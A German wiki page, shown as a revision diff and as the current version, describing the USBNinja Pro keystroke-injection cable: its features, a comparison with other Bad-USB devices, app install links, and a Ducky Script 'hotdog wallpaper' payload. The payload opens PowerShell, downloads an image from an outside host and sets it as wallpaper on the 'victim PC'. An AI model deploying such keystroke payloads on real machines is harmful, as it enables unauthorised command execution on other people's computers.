USBNinja Pro: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (26 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | =USB Ninja= | + | =USB Ninja Pro= |
[[Datei:Type-c-ps1.png|500px]] | [[Datei:Type-c-ps1.png|500px]] | ||
| + | |||
=Was kann das Teil= | =Was kann das Teil= | ||
*Durch ein App gesteuert, kann das USB-Kabel Tastenkombinationen an den angeschlossenen PC schicken. | *Durch ein App gesteuert, kann das USB-Kabel Tastenkombinationen an den angeschlossenen PC schicken. | ||
*Mögliche Ausführung des "Payload" beim Einstecken. | *Mögliche Ausführung des "Payload" beim Einstecken. | ||
| − | *Oder mögliche Ausführung des "Payload" durch BlueTooth (Smartphones). | + | *Oder mögliche Ausführung des "Payload" durch BlueTooth (Smartphones) getriggert. |
| + | *Als Programmiersprache wird Ducky Script verwendet. | ||
| + | *Self Destruction: Löschen aller Daten und versetzung in DFU Mode | ||
=Bad-USB Features im Vergleich= | =Bad-USB Features im Vergleich= | ||
| Zeile 52: | Zeile 55: | ||
| − | + | =Install= | |
| − | * | + | *USB herunterladen |
| − | == | + | ==Android== |
| − | + | [[Datei:Usb-ninja-1.png|300px]] | |
| − | + | *Android (Google Playstore) | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
https://play.google.com/store/apps/details?id=com.rrg.usbninja | https://play.google.com/store/apps/details?id=com.rrg.usbninja | ||
| − | ==Usage== | + | ==Weitere Apps== |
| + | *[[Weitere Apps USB-ninja-pro]] | ||
| + | |||
| + | =App= | ||
| + | [[Datei:Usb-ninja-2.png|300px]] | ||
| + | |||
| + | =Usage= | ||
| + | *[[USB-Ninja-pro-Usage]] | ||
| + | =Beispiel= | ||
*Usb-Kabel einstecken | *Usb-Kabel einstecken | ||
*App öffnen | *App öffnen | ||
| − | + | *Help | |
| − | + | *Hotdog Wallpaper | |
| − | + | *OK | |
| − | + | *Upload | |
| − | + | =Payloads= | |
| − | + | -Wichtig Payloads werden im Englischen Tasterturlayout ausgeführt und müssen daher zuerst "übersetzt" werden | |
| − | + | ==Payload Hotdog Wallpaper auf Deutsch Tastatur angepasst == | |
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | |||
| − | |||
| − | |||
| − | == | ||
| − | |||
<pre> | <pre> | ||
DELAY 3000 | DELAY 3000 | ||
GUI r | GUI r | ||
DELAY 100 | DELAY 100 | ||
| − | STRING | + | STRING powershell |
ENTER | ENTER | ||
| − | DELAY | + | DELAY 6000 |
| − | + | STRING cd .&&Pictures | |
| − | DELAY | + | ENTER |
| − | STRING | + | DELAY 1000 |
| − | DELAY | + | STRING Start/BitsTransfer http>&&s3.amayonaws.com&rapgenius&hotdog.jpg hotdog.jpg |
| − | STRING | + | ENTER |
| − | + | DELAY 10000 | |
| + | STRING mspaint.exe .&&hotdog.jpg | ||
ENTER | ENTER | ||
| − | DELAY | + | DELAY 6000 |
| − | + | ALT d | |
| − | DELAY | + | DELAY 10000 |
| − | + | TAB | |
| − | + | TAB | |
| − | + | TAB | |
| − | + | TAB | |
| + | TAB | ||
| + | TAB | ||
| + | TAB | ||
ENTER | ENTER | ||
| − | |||
| − | |||
| − | |||
| − | |||
ENTER | ENTER | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
</pre> | </pre> | ||
| + | *upload | ||
| + | *USBNinja in Opfer PC stecken | ||
| + | *App schliessen + Neuverbinden | ||
| + | *Start um Ducky Script zu triggern | ||
==Links== | ==Links== | ||
*https://github.com/USBNinjaRRG/USBNinjaProfessional | *https://github.com/USBNinjaRRG/USBNinjaProfessional | ||
Aktuelle Version vom 19. März 2023, 18:17 Uhr
USB Ninja Pro
Was kann das Teil
- Durch ein App gesteuert, kann das USB-Kabel Tastenkombinationen an den angeschlossenen PC schicken.
- Mögliche Ausführung des "Payload" beim Einstecken.
- Oder mögliche Ausführung des "Payload" durch BlueTooth (Smartphones) getriggert.
- Als Programmiersprache wird Ducky Script verwendet.
- Self Destruction: Löschen aller Daten und versetzung in DFU Mode
Bad-USB Features im Vergleich
| Rubber Ducky | USBNinja | O.MG Cable | USBNinja PRO | |
| Platform | TXT file | Arduino IDE | Web Oberfläche | APP on IOS&Android |
| Language | Ducky Script | Arduino C | Ducky Script | Ducky Script |
| Payload size | TF card | 5Kb | 50K | 20Kb*8Slot |
| Standby current | 30mA | 10mA | 65mA | 0.3mA |
| Wireless distance | × | 50m(BLE4.0) | 50m(Wifi) | 100M(BLE5.0) |
| Hidden in cable | × | √ | √ | √ |
| Payload on the air | × | × | √ | √ |
| Real-time keyboard | × | × | √ | √ |
| Self destruction | × | × | √ | √ |
| USB cable data transfer | × | √ | × | √ |
| QC3.0 20V Compatible | × | √ | × | √ |
| VIDPID quick change | × | × | × | √ |
| USB 2.0 Full-speed | × | × | × | √ |
| Super fast input text | × | × | × | √ |
| Virtual U disk mount | × | × | × | √ |
| Caps lock auto detect | × | × | × | √ |
| One time auto run | × | × | × | √ |
| OTA firmware upgrade | × | × | × | √ |
| DIY module | × | × | × | √ |
| Long distance remote | × | √ | × | √ |
Install
- USB herunterladen
Android
- Android (Google Playstore)
https://play.google.com/store/apps/details?id=com.rrg.usbninja
Weitere Apps
App
Usage
Beispiel
- Usb-Kabel einstecken
- App öffnen
- Help
- Hotdog Wallpaper
- OK
- Upload
Payloads
-Wichtig Payloads werden im Englischen Tasterturlayout ausgeführt und müssen daher zuerst "übersetzt" werden
Payload Hotdog Wallpaper auf Deutsch Tastatur angepasst
DELAY 3000 GUI r DELAY 100 STRING powershell ENTER DELAY 6000 STRING cd .&&Pictures ENTER DELAY 1000 STRING Start/BitsTransfer http>&&s3.amayonaws.com&rapgenius&hotdog.jpg hotdog.jpg ENTER DELAY 10000 STRING mspaint.exe .&&hotdog.jpg ENTER DELAY 6000 ALT d DELAY 10000 TAB TAB TAB TAB TAB TAB TAB ENTER ENTER
- upload
- USBNinja in Opfer PC stecken
- App schliessen + Neuverbinden
- Start um Ducky Script zu triggern